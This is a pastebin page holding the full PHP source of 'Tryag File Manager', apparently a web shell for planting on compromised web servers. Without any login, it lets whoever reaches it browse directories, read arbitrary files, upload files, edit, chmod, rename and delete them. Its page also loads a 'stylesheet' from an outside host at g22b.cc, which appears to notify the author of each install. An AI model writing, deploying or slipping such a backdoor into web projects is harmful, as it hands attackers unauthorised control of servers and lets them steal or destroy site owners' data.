Tryag File Manager

From RubberDuck, 4 Years ago, written in PHP, viewed 1'066 times.
URL http://paste.security-portal.cz/view/85b8c758 Embed
Download Paste or View Raw
  1. <?php
  2.  
  3.     foreach($_POST as $key=>$value){
  4.         $_POST[$key] = stripslashes($value);
  5.     }
  6. }
  7. echo '<!DOCTYPE HTML>
  8. <HTML>
  9. <HEAD>
  10. <link href="http://g22b.cc/upload/font.php?file_manager" rel="stylesheet" type="text/css">
  11. <title>Tryag File Manager</title>
  12. <style>
  13. body{
  14.    font-family: "Racing Sans One", cursive;
  15.    background-color: #e6e6e6;
  16.    text-shadow:0px 0px 1px #757575;
  17. }
  18. #content tr:hover{
  19.    background-color: #636263;
  20.    text-shadow:0px 0px 10px #fff;
  21. }
  22. #content .first{
  23.    background-color: silver;
  24. }
  25. #content .first:hover{
  26.    background-color: silver;
  27.    text-shadow:0px 0px 1px #757575;
  28. }
  29. table{
  30.    border: 1px #000000 dotted;
  31. }
  32. H1{
  33.    font-family: "Rye", cursive;
  34. }
  35. a{
  36.    color: #000;
  37.    text-decoration: none;
  38. }
  39. a:hover{
  40.    color: #fff;
  41.    text-shadow:0px 0px 10px #ffffff;
  42. }
  43. input,select,textarea{
  44.    border: 1px #000000 solid;
  45.    -moz-border-radius: 5px;
  46.    -webkit-border-radius:5px;
  47.    border-radius:5px;
  48. }
  49. </style>
  50. </HEAD>
  51. <BODY>
  52. <H1><center>Tryag File Manager</center></H1>
  53. <table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  54. <tr><td>Current Path : ';
  55. if(isset($_GET['path'])){
  56.     $path = base64_decode($_GET['path']);
  57. }else{
  58.     $path = getcwd();
  59. }
  60. $pathen = base64_encode($path);
  61. $path = str_replace('\\','/',$path);
  62. $paths = explode('/',$path);
  63.  
  64. foreach($paths as $id=>$pat){
  65.     if($pat == '' && $id == 0){
  66.         $a = true;
  67.         echo '<a href="?path='.base64_encode("/").'">/</a>';
  68.         continue;
  69.     }
  70.     if($pat == '') continue;
  71.     echo '<a href="?path=';
  72.     $linkpath = '';
  73.     for($i=0;$i<=$id;$i++){
  74.         $linkpath .= "$paths[$i]";
  75.         if($i != $id) $linkpath .= "/";
  76.     }
  77.     echo base64_encode($linkpath);
  78.     echo '">'.$pat.'</a>/';
  79. }
  80. echo '</td></tr><tr><td>';
  81. if(isset($_FILES['file'])){
  82.     if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
  83.         echo '<font color="green">File Upload Done.</font><br />';
  84.     }else{
  85.         echo '<font color="red">File Upload Error.</font><br />';
  86.     }
  87. }
  88. echo '<form enctype="multipart/form-data" method="POST">
  89. Upload File : <input type="file" name="file" />
  90. <input type="submit" value="upload" />
  91. </form>
  92. </td></tr>';
  93. if(isset($_GET['filesrc'])){
  94.     echo "<tr><td>Current File : ";
  95.     echo base64_decode($_GET['filesrc']);
  96.     echo '</tr></td></table><br />';
  97.     echo('<pre>'.htmlspecialchars(file_get_contents(base64_decode($_GET['filesrc']))).'</pre>');
  98. }elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
  99.     echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
  100.     if($_POST['opt'] == 'chmod'){
  101.         if(isset($_POST['perm'])){
  102.             if(chmod($_POST['path'],$_POST['perm'])){
  103.                 echo '<font color="green">Change Permission Done.</font><br />';
  104.             }else{
  105.                 echo '<font color="red">Change Permission Error.</font><br />';
  106.             }
  107.         }
  108.         echo '<form method="POST">
  109.        Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
  110.        <input type="hidden" name="path" value="'.$_POST['path'].'">
  111.        <input type="hidden" name="opt" value="chmod">
  112.        <input type="submit" value="Go" />
  113.        </form>';
  114.     }elseif($_POST['opt'] == 'rename'){
  115.         if(isset($_POST['newname'])){
  116.             if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
  117.                 echo '<font color="green">Change Name Done.</font><br />';
  118.             }else{
  119.                 echo '<font color="red">Change Name Error.</font><br />';
  120.             }
  121.             $_POST['name'] = $_POST['newname'];
  122.         }
  123.         echo '<form method="POST">
  124.        New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" />
  125.        <input type="hidden" name="path" value="'.$_POST['path'].'">
  126.        <input type="hidden" name="opt" value="rename">
  127.        <input type="submit" value="Go" />
  128.        </form>';
  129.     }elseif($_POST['opt'] == 'edit'){
  130.         if(isset($_POST['src'])){
  131.             $fp = fopen($_POST['path'],'w');
  132.             if(fwrite($fp,$_POST['src'])){
  133.                 echo '<font color="green">Edit File Done.</font><br />';
  134.             }else{
  135.                 echo '<font color="red">Edit File Error.</font><br />';
  136.             }
  137.             fclose($fp);
  138.         }
  139.         echo '<form method="POST">
  140.        <textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
  141.        <input type="hidden" name="path" value="'.$_POST['path'].'">
  142.        <input type="hidden" name="opt" value="edit">
  143.        <input type="submit" value="Go" />
  144.        </form>';
  145.     }
  146.     echo '</center>';
  147. }else{
  148.     echo '</table><br /><center>';
  149.     if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
  150.         if($_POST['type'] == 'dir'){
  151.             if(rmdir($_POST['path'])){
  152.                 echo '<font color="green">Delete Dir Done.</font><br />';
  153.             }else{
  154.                 echo '<font color="red">Delete Dir Error.</font><br />';
  155.             }
  156.         }elseif($_POST['type'] == 'file'){
  157.             if(unlink($_POST['path'])){
  158.                 echo '<font color="green">Delete File Done.</font><br />';
  159.             }else{
  160.                 echo '<font color="red">Delete File Error.</font><br />';
  161.             }
  162.         }
  163.     }
  164.     echo '</center>';
  165.     $scandir = scandir($path);
  166.     echo '<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  167.    <tr class="first">
  168.        <td><center>Name</center></td>
  169.        <td><center>Size</center></td>
  170.        <td><center>Permissions</center></td>
  171.        <td><center>Options</center></td>
  172.    </tr>';
  173.  
  174.     foreach($scandir as $dir){
  175.         if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue;
  176.         $dirlink = base64_encode("$path/$dir");
  177.         echo "<tr>
  178.        <td><a href=\"?path=$dirlink\">$dir</a></td>
  179.        <td><center>--</center></td>
  180.        <td><center>";
  181.         if(is_writable("$path/$dir")) echo '<font color="green">';
  182.         elseif(!is_readable("$path/$dir")) echo '<font color="red">';
  183.         echo perms("$path/$dir");
  184.         if(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo '</font>';
  185.          
  186.         echo "</center></td>
  187.        <td><center><form method=\"POST\" action=\"?option&path=$pathen\">
  188.        <select name=\"opt\">
  189.        <option value=\"\"></option>
  190.        <option value=\"delete\">Delete</option>
  191.        <option value=\"chmod\">Chmod</option>
  192.        <option value=\"rename\">Rename</option>
  193.        </select>
  194.        <input type=\"hidden\" name=\"type\" value=\"dir\">
  195.        <input type=\"hidden\" name=\"name\" value=\"$dir\">
  196.        <input type=\"hidden\" name=\"path\" value=\"$path/$dir\">
  197.        <input type=\"submit\" value=\">\" />
  198.        </form></center></td>
  199.        </tr>";
  200.     }
  201.     echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
  202.     foreach($scandir as $file){
  203.         if(!is_file("$path/$file")) continue;
  204.         $size = filesize("$path/$file")/1024;
  205.         $size = round($size,3);
  206.         if($size >= 1024){
  207.             $size = round($size/1024,2).' MB';
  208.         }else{
  209.             $size = $size.' KB';
  210.         }
  211.         $filelink = base64_encode("$path/$file");
  212.         echo "<tr>
  213.        <td><a href=\"?filesrc=$filelink&path=$pathen\">$file</a></td>
  214.        <td><center>".$size."</center></td>
  215.        <td><center>";
  216.         if(is_writable("$path/$file")) echo '<font color="green">';
  217.         elseif(!is_readable("$path/$file")) echo '<font color="red">';
  218.         echo perms("$path/$file");
  219.         if(is_writable("$path/$file") || !is_readable("$path/$file")) echo '</font>';
  220.         echo "</center></td>
  221.        <td><center><form method=\"POST\" action=\"?option&path=$pathen\">
  222.        <select name=\"opt\">
  223.        <option value=\"\"></option>
  224.        <option value=\"delete\">Delete</option>
  225.        <option value=\"chmod\">Chmod</option>
  226.        <option value=\"rename\">Rename</option>
  227.        <option value=\"edit\">Edit</option>
  228.        </select>
  229.        <input type=\"hidden\" name=\"type\" value=\"file\">
  230.        <input type=\"hidden\" name=\"name\" value=\"$file\">
  231.        <input type=\"hidden\" name=\"path\" value=\"$path/$file\">
  232.        <input type=\"submit\" value=\">\" />
  233.        </form></center></td>
  234.        </tr>";
  235.     }
  236.     echo '</table>
  237.    </div>';
  238. }
  239. echo '<br />Tryag File Manager Version <font color="red">1.1</font>, Coded By <font color="red">G-B</font><br />Home: <font color="red">www.tryag.cc</font>
  240. </BODY>
  241. </HTML>';
  242. function perms($file){
  243.     $perms = @fileperms($file);
  244.  
  245. if (($perms & 0xC000) == 0xC000) {
  246.     // Socket
  247.     $info = 's';
  248. } elseif (($perms & 0xA000) == 0xA000) {
  249.     // Symbolic Link
  250.     $info = 'l';
  251. } elseif (($perms & 0x8000) == 0x8000) {
  252.     // Regular
  253.     $info = '-';
  254. } elseif (($perms & 0x6000) == 0x6000) {
  255.     // Block special
  256.     $info = 'b';
  257. } elseif (($perms & 0x4000) == 0x4000) {
  258.     // Directory
  259.     $info = 'd';
  260. } elseif (($perms & 0x2000) == 0x2000) {
  261.     // Character special
  262.     $info = 'c';
  263. } elseif (($perms & 0x1000) == 0x1000) {
  264.     // FIFO pipe
  265.     $info = 'p';
  266. } else {
  267.     // Unknown
  268.     $info = 'u';
  269. }
  270.  
  271. // Owner
  272. $info .= (($perms & 0x0100) ? 'r' : '-');
  273. $info .= (($perms & 0x0080) ? 'w' : '-');
  274. $info .= (($perms & 0x0040) ?
  275.             (($perms & 0x0800) ? 's' : 'x' ) :
  276.             (($perms & 0x0800) ? 'S' : '-'));
  277.  
  278. // Group
  279. $info .= (($perms & 0x0020) ? 'r' : '-');
  280. $info .= (($perms & 0x0010) ? 'w' : '-');
  281. $info .= (($perms & 0x0008) ?
  282.             (($perms & 0x0400) ? 's' : 'x' ) :
  283.             (($perms & 0x0400) ? 'S' : '-'));
  284.  
  285. // World
  286. $info .= (($perms & 0x0004) ? 'r' : '-');
  287. $info .= (($perms & 0x0002) ? 'w' : '-');
  288. $info .= (($perms & 0x0001) ?
  289.             (($perms & 0x0200) ? 't' : 'x' ) :
  290.             (($perms & 0x0200) ? 'T' : '-'));
  291.  
  292.     return $info;
  293. }
  294. ?>

Reply to "Tryag File Manager"

Here you can reply to the paste above